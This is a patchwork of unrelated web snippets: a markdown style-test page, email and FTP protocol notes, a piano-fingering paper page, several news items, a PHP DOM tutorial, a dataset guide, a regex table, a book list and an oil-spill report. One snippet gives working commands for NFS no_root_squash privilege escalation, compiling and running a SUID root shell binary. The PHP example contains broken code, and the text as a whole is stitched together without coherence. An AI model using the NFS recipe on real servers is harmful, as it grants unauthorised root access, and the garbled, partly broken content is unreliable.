Text can be bold, italic, or strikethrough.
Links should be blue with no
underlines (unless hovered over).
There should be whitespace between paragraphs. There should be whitespace between paragraphs. There should be whitespace between paragraphs. There should be whitespace between paragraphs.
There should be whitespace between paragraphs. There should be whitespace between paragraphs. There should be whitespace between paragraphs. There should be whitespace between paragraphs.
There should be no margin above this first sentence.
Blockquotes should be a lighter gray with a gray border along the left side.
There should be no margin below this final sentence.
This is a normal paragraph following a header.  Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.
This is a blockquote following a header.  Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.
This is a code block following a header.
| What | Follows |
|---|---|
| A table | A header |
| A table | A header |
| A table | A header |
There's a horizontal rule above and below this.
Here is an unordered list:
And an ordered list:
And an unordered task list:
And a "mixed" task list:
Definition lists can be used with HTML syntax. Definition terms are bold and italic.
Tables should have bold headings and alternating shaded rows.
| Artist | Album | Year |
|---|---|---|
| David Bowie | Scary Monsters | 1980 |
| Prince | Purple Rain | 1982 |
| Beastie Boys | License to Ill | 1986 |
| Janet Jackson | Rhythm Nation 1814 | 1989 |
If a table is too wide, it should condense down and/or scroll horizontally.
| Artist | Album | Year | Label | Songs |
|---|---|---|---|---|
| David Bowie | Scary Monsters | 1980 | RCA Records | It's No Game (No. 1), Up the Hill Backwards, Scary Monsters (And Super Creeps), Ashes to Ashes, Fashion, Teenage Wildlife, Scream Like a Baby, Kingdom Come, Because You're Young, It's No Game (No. 2) |
| Prince | Purple Rain | 1982 | Warner Brothers Records | Let's Go Crazy, Take Me With U, The Beautiful Ones, Computer Blue, Darling Nikki, When Doves Cry, I Would Die 4 U, Baby I'm a Star, Purple Rain |
| Beastie Boys | License to Ill | 1986 | Def Jam | Rhymin & Stealin, The New Style, She's Crafty, Posse in Effect, Slow Ride, Girls, Fight for Your Right, No Sleep till Brooklyn, Paul Revere, "Hold It Now, Hit It", Brass Monkey, Slow and Low, Time to Get Ill |
| Janet Jackson | Rhythm Nation 1814 | 1989 | A&M | Interlude: Pledge, Rhythm Nation, Interlude: T.V., State of the World, Interlude: Race, The Knowledge, Interlude: Let's Dance, Miss You Much, Interlude: Come Back, Love Will Never Do (Without You), Livin' in a World (They Didn't Make), Alright, Interlude: Hey Baby, Escapade, Interlude: No Acid, Black Cat, Lonely, Come Back to Me, Someday Is Tonight, Interlude: Livin'...In Complete Darkness |
Code snippets like var foo = "bar";
can be shown
inline.
Also, this should vertically align
with this
and this.
Code can also be shown in a block element.
var foo = "bar";
Code can also use syntax highlighting.
var foo = "bar";
Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.
var foo = "The same thing is true for code with syntax highlighting. A single line of code should horizontally scroll if it is really long.";
Inline code inside table cells should still be distinguishable.
| Language | Code |
|---|---|
| JavasScript | var foo = "bar"; |
| Ruby | foo = "bar" |
Small images should be shown at their actual size.
Large images should always scale down and fit in the content container.
This is the final element on the page and there should be no margin below this.


Client Connects to SMTP Server, creates message, and queues message to be delivered to another clients SMTP Server. The other client will then connect to their email server to read the emails, and respond.
If Client Server is down, or message cannot be transmitted, then the email will be sent as soon as the SMTP Server comes back online (by retrying the connection every 30 min or so).
Example of SMTP Connection:
telnet gud.mystmpserver.domain 25 EHLO ("Hail" the server, this isn't always needed).
HELO gud.mysmtpserver.domain
"Response: Hello from gud.mysmtpserver.domain, nice to to meet you [IP address]"
Similar to SMTP in terms of how emails are handled: POP3 is very simple in design, yet is limited while IMAP is more complex.
POP3 has a download-and-delete method, where a user who reads an email from one machine will be unable to read it from a different one due to the message being removed.
Remote folders cannot be created to store messages in with POP3.
IMAP provides more functionality than POP3, which can store messages in remote folders, manage an inbox more efficiently, etc.
FTP
Used to share files P2P, and controls data out-of-band as opposed to HTTP's in-band data control. This means that the FTP protocol uses separate control connections to send files as opposed to sending header information and other data within the same connection sending the file. HTTP, on the other hand, sends header information as well as other identifiers along with the file in the response, which is a in-band connection.
When connecting to an FTP Server, the client will login using the commands using the following commands:
USER username
PASS password
The the user can display the files to be grabbed by using the command LIST (newer ftp servers also accept the unix command "ls"), and download, upload, or delete files by using GET, DELETE, or PUT.
If the client would like to close the connection, they simply type "BYE".


Eita Nakamura, Yasuyuki Saito, Kazuyoshi Yoshii
Statistical Learning and Estimation of Piano Fingering
Information Sciences, Vol. 517, pp. 68-85, 2020. [arXiv:1904.10237]
Statistical Learning and Estimation of Piano Fingering
Information Sciences, Vol. 517, pp. 68-85, 2020. [arXiv:1904.10237]
Source code
The source code for the piano fingering estimation methods based on 1st-order HMM, 2nd-order HMM, 3rd-order HMM, and chord HMM described in the paper together with programs for training model parameters and evaluating the results can be downloaded. Please see README.txt in the package.Estimation results by HMMs
1st-order HMM: Result_FHMM1.zip (115KB)2nd-order HMM: Result_FHMM2.zip (115KB)
3rd-order HMM: Result_FHMM3.zip (114KB)
Some examples
The following examples show fingerings estimated by the 2nd-order HMM for one piece by Bach, one by Mozart, and one by Chopin, with different degrees of polyphony. Please click on an image to see a high-resolution version.Training and test data
The HMMs are trained and tested using different subsets of PIG Dataset. To get access to the dataset and see details of the data format, please visit the PIG Dataset webpage.Visualizer
This visualizer can be used for observing and comparing the above estimation results as well as the fingerings in PIG Dataset. It works on browsers such as Google Chrome, Safari, Firefox, Microsoft Edge, etc.


--- layout: default title: Climate permalink: /climate show: true author: hollerith tags: [blog,data] ---


Star Wars-Themed Galaxy Note 10+ Launches Next Month
by Shabana ArifSamsung has unveiled its Star Wars: The Rise of Skywalker Galaxy Note 10+ ahead of the film's release on December 20.
The black handset sports the red detailing - which extends to the S Pen - and includes a specially-designed case with a metal badge. It screams Dark Side, and may just lure you over if you have the cash. It drops in the US on December 13 with a price tag of $1,299.99.
The phone is set for release here in the UK at some point, but a date and price has yet to be confirmed. If we work on the assumption of a straight conversion, that puts the cost in the ballpark of £1,000, but it's likely the price will be bumped up somewhat.
Samsung also dropped an ad to accompany the new colourway, but the actual phone is nowhere to be seen. There is, however, a Chewie dog and a cat intent on turning the kid in the advert to the dark side, so that's fun. [Samsung via SlashGear]


This is guide to get started with PHP DOM or a quick reminder to those who have a little while since the last time they used it. The extended documentation is in PHP.net, but it is quite long. Here you might found a quick reference to get started in no time.
Purpose of the DOM (Docuement Object Model): It is a convention used to represent and manipulate objects in XML, XHTML and HTML documents. Parsing XML and HTML files is very useful. It allows to manipulate RSS Feeds, interact with APIs and web services through XML (e.g. Google Maps, Facebook and Twitter APIs, etc.), extract information from websites (web crawling) and more.
Getting Started
The DOM implementation in PHP have more than 15 classes! But don’t get afraid, for most cases, you might just end up using these ones: DOMNode, DOMDocument, DOMNodeList and DOMElement. In the following UML class diagram of PHP’s DOM you will see how these classes are related to each other and them the explanation of each one.
Loading and Saving DOM Documents
DOMDocument — The DOMDocument class which exteds from DOMNode. This class contains the XML (or HTML) elements and configurations. It has configurations attributes, such as format output, preserve white spaces, versions, etc.
DOMDocument must-know methods (part 1: load and save)
- Load: load XML (or HTML) documents. There are different types of loads (quite self-explanatories)
- mixed DOMDocument::load ( string $filename ) — Load XML from a file
- bool DOMDocument::loadHTML ( string $source ) — Load HTML from a string
- bool DOMDocument::loadHTMLFile ( string $filename ) — Load HTML from a file
- mixed DOMDocument::loadXML ( string $source ) — Load XML from a string
- Save: it is used to present (screen or file) the whole DOM document.
- int DOMDocument::save ( string $filename ) — Dumps the internal XML tree back into a file
- string DOMDocument::saveHTML ( ) — Dumps the internal document into a string using HTML formatting
- int DOMDocument::saveHTMLFile ( string $filename ) — Dumps the internal document into a file using HTML formatting
- string DOMDocument::saveXML ( ) — Dumps the internal XML tree back into a string
Example using DOMDocument for loading and showing HTML:
<?php
$dom = new DOMDocuement;
$dom->loadHTML('http://www.adrianmejiarosario.com'); // load website content to DOM
echo $dom->save(); // print to screen
?>
Iterating through DOM Elements
The first thing you need to do after loading the XML that you want to process, it’s to select the data that you are intereted in. To search for you data you need to iterate through the DOM elements and you need to know what methods and objects are using in this process.
DOMDocument must-know methods (part 2: get data)
- DOMElement DOMDocument::getElementById ( string $elementId ) — Searches for an element with a certain id.
- DOMNodeList DOMDocument::getElementsByTagName ( string $elementName )— Searches for all elements with given tag name.
- DOMNodelist::item ( int $index ) — Retrieves a node specified by index
- int $DOMNodeList->length - Node list length
- string $DOMNode->nodeName — Returns node name
- string $DOMNode->nodeValue — Returns node name
- DOMNodeList $DOMNode->childNodes — Returns list of nodes
<?php
//TODO
?>


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addr
Syntax
addr (reference)
Description
The addr attribute is used to find the integer address of a variable or non scalar constant. This is implementation-dependent. This address may be used in an indirection operation @.
Example
Set a to be the address of x.
var x : real
var a : addressint := addr (x)
Details
The value of the address produced by addr is of type addressint, an integer type whose range is that of the underlying memory addresses.
The concept of an address is implementation-dependent. For example, an optimizing compiler could determine that a variable does not require space because the program could be computed without the variable with no change in output. However, in most implementations, types have a predictable size and variables of that type occupy that number of bytes in memory.
See also
the indirection operator @, cheat, explicitIntegerConstant (how to write hexadecimal constants), and pointer type (in particular unchecked pointer type). See also sizeof, which returns the size of a variable.


Using the collection¶
Users interested in analyzing the KGTorrent database should download it from its Zenodo repository; it is stored as a compressed archive named KGT_dataset.tar.bz2
. The dataset can be analyzed as a whole, although we believe that the most interesting use case is to leverage the companion database to select a subset of notebooks based on specific research criteria. To this aim, along with the dataset, one should download the compressed archive containing the dump of the MySQL database (named KGTorrent_dump_10-2020.sql.tar.bz2
), uncompress it and import it into a local MySQL installation.
You can use the Linux tar
command to uncompress both archives:
tar -xf KGT_dataset.tar.bz2 -C /path/to/local/dataset/folder
tar -xf KGTorrent_dump_10-2020.sql.tar.bz2
Then, import the MySQL dump in your local MySQL installation. To perform this step, you can follow this guide.
Once the database has been correctly imported, you can query it to select a subset of notebooks based on specific criteria. The Jupyter notebooks in KGTorrent are saved with filenames following this pattern: UserName_CurrentUrlSlug
, where UserName
is a field of the Users
table, while CurrentUrlSlug
is a field of the Kernels
table. Therefore, by including such pattern in the SELECT
statement of an SQL query, the result will comprise a column listing the names of the selected Jupyter notebooks from the dataset.
In the following example, I select the filenames of all Python Jupyter notebooks that have been awarded a gold medal in Kaggle:
SELECT CONCAT(u.UserName, '_', k.CurrentUrlSlug, '.ipynb') FilteredNotebookNames
FROM ((kernels k JOIN users u ON k.AuthorUserId = u.Id)
JOIN kernelversions kv ON k.CurrentKernelVersionId = kv.Id)
JOIN kernellanguages kl ON kv.ScriptLanguageId = kl.Id
WHERE kl.name LIKE 'IPython Notebook HTML'
AND k.Medal = 1;
Note that IPython Notebook HTML
is the language name used in Meta Kaggle to identify Jupyter notebooks written in Python.
In MySQL, if you want to save the results of the query above to a .csv
file, you can extend it as follows:
SELECT CONCAT(u.UserName, '_', k.CurrentUrlSlug, '.ipynb') FilteredNotebookNames
FROM ((kernels k JOIN users u ON k.AuthorUserId = u.Id)
JOIN kernelversions kv ON k.CurrentKernelVersionId = kv.Id)
JOIN kernellanguages kl ON kv.ScriptLanguageId = kl.Id
WHERE kl.name LIKE 'IPython Notebook HTML'
AND k.Medal = 1
INTO OUTFILE '/var/lib/mysql-files/query_result.csv'
FIELDS TERMINATED BY ','
LINES TERMINATED BY '\n';
In the GitHub repository (at docs/imgs/KGTorrent_logical_schema.png
) as well as in the Zenodo repository containing the dataset, we share the logical schema underlying the KGTorrent database. We built this schema by reverse engineering a relationa model from Meta Kaggle data.
All the most relevant relationships among the db tables are explicitly represented in the schema. However, we decided to omit some of them to ensure a good readability of the image.


This tool is a SSW-322 Software Engineering Design VI Course project by Mary McKeon, Angelica Torres, and Nneka Udeagbala. We created this web application so individuals can create or take surveys and tests.
Test and survey makers can add different types of questions such as True/False, Multiple Choice, Short Answer, Essay Prompts, Matching, and Rank the Order.
The creators can view individual scores and the overall class statistic scores after a test is taken. Survey creators can see a list of the different survey responses.
Test takers can see how they did on all questions except for short answers and essays after taking the exam. They will also be able to see how they compare to the class average, lowest score, and highest score with a box and whisker plot. Survey takers can see a list of open ended responses and graphs that depict all the non-open ended questions.
You can report any problems with the systems or recommendations to the contact page!


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Unai Emery suggests Pierre-Emerick Aubameyang could become Arsenal's next captain
Pierre-Emerick Aubameyang was handed the Arsenal captaincy against Wolves after Granit Xhaka's outburst at Gunners fans last week
by Alex SmithUnai Emery has opened up the possibility of Pierre-Emerick Aubameyang taking over the Arsenal captaincy on a permanent basis.
Gunners boss Emery is potentially on the look out for a new skipper after Granit Xhaka's x-rated on-field outburst during last weekend's draw with Crystal Palace .
Xhaka, who ripped his shirt off, cupped his ears and told fans to "f*** off" after a reaction to his substitution, was left out of Arsenal's clash with Wolves on Saturday.
The Swiss midfielder could have the captaincy, which he was only given earlier this season, taken off him - although the decision hasn't been made yet.
In his place, Aubameyang was handed the captain's armband for the draw at the Emirates Stadium - and led from the front as he scored the Gunners' opener with a classy finish.
When asked whether the Gabon international will now become his first choice captain, Emery said: "He could be, I think he can take that responsibility and today he did that."
Arsenal fans weren't 100 per cent in agreement that Aubameyang was the right person to lead the Gunners.
But Robbie Savage reckons he is their best player and therefore can lead by example.
"Arsenal fans were having a go at probably their best player in Aubameyang which was completely and utterly strange," Savage said on BT Sports.
"It was not a surprise to see him as captain. I think he's their best player, their most influential player."
Rio Ferdinand hit out at Emery for allowing the Gunners players to make the original decision on who to make captain.
"The situation with the captaincy was something that I thought was very strange at the time it happened and the way its panned out has confirmed my queries," the Manchester United legend told BT Sport.
"Allowing the players to choose the captain… you’re the manager, you go in there and say ‘this is who I want as my captain he [Xhaka] is someone that actually is going to be a little bit of the mirror image of me [Emery] out on the pitch’.
"Either as a character or the way he speaks and conducts himself etcetera but he’s allowing the players to choose the captain.
"For far too long at this club there has been a lack of leadership on the pitch. There’s been a lack of characters."


Prisoners Are Allowed To Take SPM Examinations in Jail Too! We Found Out How
by Husna HalimTap to listen to this article instead: 🔊 Listen to Post
The internet is BOOMING with students carrying out their ‘end of SPM celebrations’. Students screamed, drew on each other’s uniforms, caused traffic jams, and although some of them were a little cringy, we can’t overlook the more touching celebrations that came out of this year’s examinations.
Like this picture of SPM students in jail who prostrated themselves after the exam shared by Harian Metro that melted the hearts of those who saw it.
With such a powerful picture, a very simple but highly important question sparked in our minds; how do people in jail take their SPM exams?
This Twitter user, @qyscha_, thought the same too and decided to ask wise and knowledgeable netizens to quench our thirst for information.
“Can someone do a thread on how people in jail take SPM?
When would they study and how they were taught, what are the qualifications to take SPM.”
According to one of the post commenters, @AHrzth, this is how they are educated;
First of all, there are differences between inmates that take SPM in jail and Henry Gurney Schools (SHG).
Inmates in Prison:
- Managed according to the Jail Act 1995.
- Those that are around the age of 18-21 will be considered as a ‘young prisoner’.
- Will still be allowed to take SPM as long as they are older than 17-years-old.
- Required to follow the Academic Education Module in Self Development Program (PPi)
-
Placed in an Integrity School (SI).
- SI Puncak Alam
- SI Kluang
- SI Marang
- SI Muar
- SI Sg.Petani
- SI Kota Kinabalu
- SI Puncak Borneo
Inmates in SHG:
- Managed according to the Child Act 2001 and the Henry Gurney School Module 1949
- Consist of those with the range age of 14 – 18 years old
-
Currently, there are 5 Henry Gurney schools in Malaysia;
- SHG Telok Mas, Melaka
- SHG Kota Kinabalu, Sabah
- SHG Keningau, Sabah
- SHG Puncak Borneo, Sarawak
- SHG Wanita, Batu Gajah, Perak
There are 3 core classes that exist in these schools; 3M class (reading, counting, writing), Pre-SPM class and SPM. To make things fair, the syllabus used will be exactly the same as the one we use in national schools.
The schools will also operate at the same time as daily schools accept that they only have a morning session. The classes start as early as 7am, after the Prison Manager does the muster body count.
As admitted by one of the ex-inmates from the Henry Gurney School, learning there is actually enjoyable.
“Learning there was nice but because it’s ‘there’ makes it less nice. If you are wondering why they don’t include the school’s name in the certificate, it is because the students are registered as private candidates, and they don’t want companies to be scared when they see our school’s name.”
As explained in the thread, education for inmates doesn’t only stop at SPM. For those who are eligible and interested to continue their studies, they can learn up to the PhD level in the Higher Education Module at either Kajang Prison or Bentong Prison only, according to an agreement together with the Open University of Malaysia.
However, all of the fees will be covered by their families, as the prison will only provide them with the proper facilities.
What do you think of this? Share your thoughts in the comment section.
Also read: Corrupt Civil Servant Wants To Go Home As Prison Clothes Are Ugly & There’s No Hairdryer There


This patient has been ceased due to {{ data.pnl_patient.pnl_reason or "no cervix" }}.
Please submit once the patient has been reviewed.


Diploma in Automobile Engineering is a full-time 3-year Diploma level Automobile engineering course. Automobile engineering is the sub-branch of Mechanical Engineering. Candidates who have completed 10th examination with 60% marks and mathematics and science as main subjects of study from a recognized board are eligible for Diploma in Automobile Engineering course. After completing Diploma in Automobile Engineering course, graduates may get opportunities in fields like the Automobile industry, Colleges, and Universities, Communication and Media, Automobiles, Media, Advertising, Electrical and electronic field, Telecom Services, etc. These professionals may work in positions like Automobile Engineer, Design Engineer, Associate Manager, Storekeeper, Production Engineer, Field Service Engineer, Quality Engineer, Assistant Engineer, etc. The average salary for these professionals ranges between INR 2 to 15 Lacs as per their experience and expertise in this field.
| Course Level | Diploma |
| Duration | 3 years |
| Examination Type | Semester type |
| Eligibility | 10th |
| Admission Process | Merit-based or Entrance-based |
| Top recruiting organizations | OFOS Services Private Limited, Satish Dhawan Space Centre, Nexgen Careers, Hyundai Groups, Rathinam Techzone |
| Top recruiting areas | Automobile industry, Colleges, and Universities, Communication and Media, Automobiles, Media, Advertising, Electrical and electronic field, Telecom Services |
| Top job profiles | Automobile Engineer, Design Engineer, Associate Manager, Storekeeper, Production Engineer, Field Service Engineer, Quality Engineer, Assistant Engineer |
| Course Fee | INR 20,000 to 2 Lacs |
| Average Starting Salary | INR 2 to 15 Lacs |
Diploma in Automobile Engineering course helps the candidates to procure the desired merchandise from the automobiles for their personal use. By this study, candidates may learn customer relationships, automobiles and market analysis, also taking a comprehensive view of sales and management. They can discover exciting ways to make a difference in the world of automobiles, and the ability to work within either management or supervisory capacities at all locations.
Graduate students with improved skills in automobile engineering, human resource management, negotiation, automobile strategy, business accounting, and merchandising. In this course, students also gain a competitive edge in the job market, making students highly desirable to employers.
Admission for Diploma in Automobile Engineering course is based on merit-based or entrance-based. Most of the colleges select candidates through counseling based on the marks obtained in their 10+2 examination. Some reputed colleges conduct entrance exam for admission process. Some of the major entrance exams are JET, GVSAT, GLAET, etc. Based on the candidate’s performance, they will be selected for the course admissions. Candidates may apply for this course through official website of the respective college or directly get an application form from the college admission office.
| SEMESTER I | SEMESTER II |
|---|---|
| Applied Mathematics I | Automobile Mechanics |
| Applied Science Lab | Automobile Workshop Practice |
| Auto Electrical and Electronics | Automobile Workshop Tech |
| Auto Repair and Maintenance | Automotive Engine Auxiliary Systems |
| Automobile Chassis and Transmission | Automotive Engines |
| Automobile Machine Shop | Automotive Estimation and Costing |
| SEMESTER III | SEMESTER IV |
| Automotive Pollution and Control | Engine and Vehicle Testing Lab |
| Basic Computer Skills lab | English Communication |
| Basic Electrical and Electronics Engineering | Hydraulics, Pneumatics and Power Plant |
| C Programming Lab | ISAP Lab |
| CAD Practice | Machine Design and Theory of M/Cs |
| Computer-Aided Engineering | Graphics Mechanical Testing Lab |
| SEMESTER V | SEMESTER VI |
| Modern Vehicle Technology | Vehicle Maintenance |
| Organizational Management | Vehicle Maintenance Lab |
| Project, Industrial Visit, and Seminar | Foundry, Welding and Sheet Metal Practice |
| Special Vehicle and Equipment | - |
| Strength of Materials | - |


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Phone Number Validation
Phone Number (format: xxxx-xxx-xxxx):
Demo by Agbonghama Collins.
See article
.


Example if:
no_root_squash option is defined for "/tmp"
mkdir /tmp/1
mount -o rw,vers=2 <IP>:/tmp/tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x
/tmp/1/./x
Tools
nfsshell (NetDirect)
1. Mount the NFS export to the local Linux system
2. As root (on local host), compile an executable and place it in the mounted dir
3. Set 'SUID' permissions on the executable
4. Run the file on the NFS server


daily bussiness
success.offer.confirmed
invalid.offerId
normal reservations
name
food
amount
date with time
price
customer donation
price included with Donation
reservation selection
€
€
€
free reservations
name
food
amount
date with time
customer donation
price included with Donation
reservation selection
€
€


{% extends 'pageWrapper.html' %} {% block head %} {{ super() }}
This page checks a .yaml file for you, to be used as options for a mystery multiworld. You can also upload a .zip with multiple YAMLs.


These are publications found on your Institutional Repository that are not part of LAQV/UCIBIO database or are not associated with you yet.
To add publications to the database, the procedure is:
Currently this is only available for FCT NOVA.


Table 3.4 lists interesting examples of regular expressions, many of which have been described in this chapter.
| Item | Regular Expression |
|---|---|
| Postal Abbreviation for State | [A-Z][A-Z] |
| City, State | ^.*,[A-Z][A-Z] |
| City, State, Zip (POSIX egrep) | ^.*,[A-Z][A-Z][0-9]{5}(-[0-9]{4})? |
| Month, Day, Year | [A-Z][a-z]\{3,9\}[0-9]\{1,2\},[0-9]\{4\} |
| U.S. Social Security Number | [0-9]\{3\}-[0-9]\{2\}-[0-9]\{4\} |
| North-American Local Telephone | [0-9]\{3\}-[0-9]\{4\} |
| Formatted Dollar Amounts | \$[0-9]*\.[0-9][0-9] |
| troff In-line Font Requests | \\f[(BIRP]C*[BW]* |
| troff Requests | ^\.[a-z]\{2\} |
| troff Macros | ^\.[A-Z12]. |
| troff Macro with arguments | ^\.[A-Z12].".*" |
| HTML In-line Codes | <[^>]*> |
| Ventura Publisher Style Codes |<EMAIL_ADDRESS>|
| Match blank lines | ^$ |
| Match entire line | ^.*$ |
| Match one or more spaces | * |


--- title: "Blockquote" type: typography scss: sass/modules/_typography.scss usage: "The HTML Block Quotation Element indicates that the enclosed text is an extended quotation." info: "https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote" ---
And I'm his friend Jesus. Stop!  Cause explosive decompression! THE BIG BRAIN AM WINNING AGAIN! I AM THE GREETEST! NOW I AM LEAVING EARTH, FOR NO RAISEN!


The books of 2017
Looking back, 2017 was an excellent but busy year, both professionally and personally. Luckily, I still found the time to digest some books.
Reading books is not only one of my favorite pastimes, I find it vital to keep up with different scientific fields and to learn about new topics. Biographies give me inspiration from the lives of successful and interesting people and self-help books such as 'The Organized Mind' give me practical tips to better do the things I want to do. I balance the usefulness of nonfiction with a healthy dose of novels and fantasy books!
These are the books I have read in 2017.
Fiction
Novels
'The Circle' by Dave Eggers. In this novel we follow Mae, a young ambitious graduates who lands her dream job in the Circle in customer services. Though the story is simple, the satire is topical and the book is worth a read. (***)
'The Ocean at the End of the Lane' by Neil Gaiman. Simple, but hauntingly beautiful story. (****)
'Memoirs of a Polar Bear' by Yōko Tawada. Strange book written from the perspectives of three generations of polar bears. Did not like it as much as I thought I would. (***)
'The Story of My Teeth' by Valeria Luiselli. The story of a charlatan. Funny at some moments, but seemed to satire some aspects of literature I am not so familiar with. (***)
'Call Me By My Name' by André Aciman. Got this one nearly ten years ago for Christmas and finally got around reading it. A beautiful love story between two young men. (****)
'Hag-Seed: The Tempest Retold' by
Margaret Atwood. First work of Margaret Atwood I ever read. Funny and engaging, though the middle and ending became a bit tiresome. Will definitely read other work of this renowned author! (****)
Fantasy and Science Fiction
'Sleeping Giants (Themis Files, #1)' by Sylvain Neuvel. Top sci-fi book! Really liked the interview based narrative. (*****)
'A Wizard of Earthsea (Earthsea Cycle, #1)' by Ursula Le Guin. Old-school fantasy book about young wizards and dragons. (****)
'Waking Gods (Themis Files, #2)' by Sylvain Neuvel. Less mystery and more action than 'Sleeping Gods'. I finished it within a day. (****)
'Ink (Skin Books, #1)' by Alice Broadway. Well-written fantasy on society and identity. (****)
'Warbreaker' by Brandon Sanderson. Sanderson is known for his highly enjoyable fantasy novels with interesting magic systems. This one did not disappoint. Though I read it with much pleasure, Sanderson his novels do feel a bit formalistic after a while. (****)
'The Once and Future King' by T.H. White. The story of Arthur, Merlyn, Lancelot and Guinevere. An impressive read. (****)
'Neverwhere' by Neil Gaiman. Adventure in a dark underworld beneath London. (***)
'Oathbringer (The Stormlight Archive #3)' by Brandon Sanderson. Third book of the awesome Stormlight series! Epic! (*****)
'A Knight of the Seven Kingdoms' by George R.R. Martin. Nice novella set in the familiar world of 'A Song of Ice and Fire'. The softer tone makes for a light and pleasant read. (****)
Nonfiction
Biology
'Biopunk: Solving Biotech's Biggest Problems in Kitchens and Garages' by Marcus Wohlsen. A nice overview of the DIY biology movement. Made me very enthusiastic to get involved! (*****)
'Regenesis: How Synthetic Biology Will Reinvent Nature and Ourselves' by George M. Church. The crazy world or de-extinct mammoths and mirror life concocted in the lab of the godfather of synthetic biology. (****)
'A Sting in the Tale: My Adventures with Bumblebees' by Dave Goulson. The fascinating complex life of bees, written by the bumblebee professor. (*****)
'Lab Girl: A Story of Trees, Science & Love' by Hope Jahren. The autobiography a young female scientists and her difficulties to establish a lab. (****)
Self-improvement and organization
'The Quick and Easy Way to Effective Speaking' by Dale Carnegie. Old, but not outdated! Contains many useful tips for public speaking or generally clarifying things. (****)
'$100 Startup' by Chris Guillebeau. Accessible book on how to 'think small' and start your own business. (****)
'Algorithms to Live by: The Computer Science of Human Decisions' by Brian Christian and Tom Griffiths. This was one of the most useful and interesting books on organizing your life I have ever read! (*****)
'The Organized Mind: Thinking Straight in the Age of Information Overload' by Daniel J. Levitin. Self-help book on organizing your life, time, social life and business, written from a neuroscience point of view. Practical, useful and entertaining! (*****)
Varia
'Nine Algorithms That Changed the Future: The Ingenious Ideas That Drive Today's Computers' by John MacCormick. Nice little book highlighting some algorithms we use every day (Pagerank, compression, encryption...) and explaining them in clear, simple language using analogies. (***)
'Elon Musk: Tesla, SpaceX, and the Quest for a Fantastic Future' by Ashlee Vance. Insights in the world of a man who wants humans to be a multi-planet species. (***)
'The Sense of Style: The Thinking Person’s Guide to Writing in the 21st Century' by Steven Pinker. Interesting reference on good (scientific) writing. The beginning (structure) was much more interesting than the end (syntax and word use). (***)
'We Have No Idea: A Guide to the Unknown Universe' by Jorge Cham and Daniel Whiteson. The big things about the universe we do not know. Entertaining but sometimes a bit funny for the sake of being funny.
'Quantum Mechanics: The Theoretical Minimum (Theoretical Minimum #2)' by Leonard Susskind and Art Friedman. Physics remains a continuing interest of me and Susskind's theoretical minimum series explain it with quite enough rigor. (****)
'Things to Make and Do in the Fourth Dimension' by Matt Parker. Parker covers things from exotic ways of cutting pizzas to making a computer from domino bricks. His enthusiasm is contagious and he always gives you the impression that you could have come up with these ideas yourself. (*****)
'Homo Deus: A Brief History of Tomorrow' by Yuval Noah Harari. An interesting view on the human species and its relation to animals, technology and data. (****)
'Soonish: Ten Emerging Technologies That'll Improve and/or Ruin Everything' by Kelly and Zach Weinersmith. Enjoyable popular science book. Could use a tiny bit more depth. (***)
Textbooks
'Algorithms in C++, Parts 1-4: Fundamentals, Data Structure, Sorting, Searching' by Robert Sedgewick. Excellent reference on basic algorithms and data structures! (****)
'Lab-on-a-Chip Devices and Micro-Total Analysis Systems: A Practical Guide' by Castillo-Leon, Jaime. Great reference on how to design a microfluidic/lab-on-a-chip system. Easily digestible in a short time, but packed with useful references and tables! (****)
'Graph Algorithms in the Language of Linear Algebra' by Jeremy Kepner. Very interesting reference on dealing with graphs using tools from linear algebra. (****)
'From Populations to Ecosystems: Theoretical Foundations for a New Ecological Synthesis' by Michel Loreau. Good references with detailed mechanistic models of ecology. (***)
'Network Science' by Albert-László Barabási. Interesting reference for network science. Though focussed on the classical stuff, this is pleasant to read with many real-world examples. (****)
'Quantitative Viral Ecology: Dynamics of Viruses and Their Microbial Hosts' by Joshua Weitz. The other size of viruses: keeping ecosystems in balance. Nice introduction to the topic, covers quite some theory in depth. (****)
'Mutualistic Networks' by Jordi Bascompte and Pedro Jordano. Good review of pollination networks, but could be written a bit better and misses a general narrative. (***)
'Computational Optimal Transport' by Gabriël Peyré and Marco Cuturi. Optimal transport is awesome and this book given an in-depth overview! (****)
Not finished (for a variety of reasons)
'Here Am I' by Jonathan Safran Foer.
'Electronics from the Ground Up:: Learn by Hacking, Designing, and Inventing' by Ronald Quan.
'Designing Connected Products: UX for the Consumer Internet of Things' by Claire Rowland, Elizabeth Goodman, Martin Charlier, Alfred Lui and Ann Light.


COGIS - Spill Reports
| Form 19/19A Doc | |||||
| Date Rec'd: | 12/17/2013 | Report taken by: | Peter Gintautas | ||
| DocNum: | 200392836 | API number: | 05-071 -09632 | Facility ID: | 297297 |
|
Operator Information |
| Operator: | XTO ENERGY INC | Oper. No. | 100264 |
| Address: | 382 CR 3100 AZTEC , NM 87410 | ||
| Phone: | (719 )846-0272 | Fax: | (719 )845-0108 |
| Operator Contact: | IRWIN TRUJILLO |
|
Description of Spill: |
| Date of Incident: | 12/10/2013 | |||||||
| Type of Facility: | WELL | |||||||
| Well Name/No. | APACHE CANYON 04-04 | Fac. Name/No. | ||||||
| County Name: | LAS ANIMAS | |||||||
|
| Volumes spilled and recovered (bbls) | |||||||
| Oil spilled: 0 | Recvrd: | ||||||
| Water spilled: 30 | Recvrd: 0 | ||||||
| Other spilled: 0 | Recved: | ||||||
| |||||||
| Area and vertical extent of spill: 395-FEET X 6 -FEET | |||||||
| Current land use: NONCROPLAND | |||||||
| Weather conditions: SUNNY AND WINDY | |||||||
| Soil/Geology description SARUCHE ROMBO | |||||||
| Distance in feet to nearest surface water: 2682 | |||||||
| Depth to shallowest GW: 465 | |||||||
| Wetlands: 5280 | Buildings: 5280 | ||||||
| Livestock: 5280 | Water Wells: 2085 | ||||||
| Cause of spill: | |||||||
| FREEZE OF LINE | |||||||
Immediate Response: |
|||||||
| THE FLOW LINE WAS ISOLATED AND TAKEN OUT OF PRODUCTION. | |||||||
Emergency Pits: |
|||||||
| NO EMERGENCY PITS WERE CONSTRUCTED. | |||||||
| How extent determined: | |||||||
| EXTENT OF CONTAMINATION WAS DETERMINED BY GPS. | |||||||
| Further Remediation | |||||||
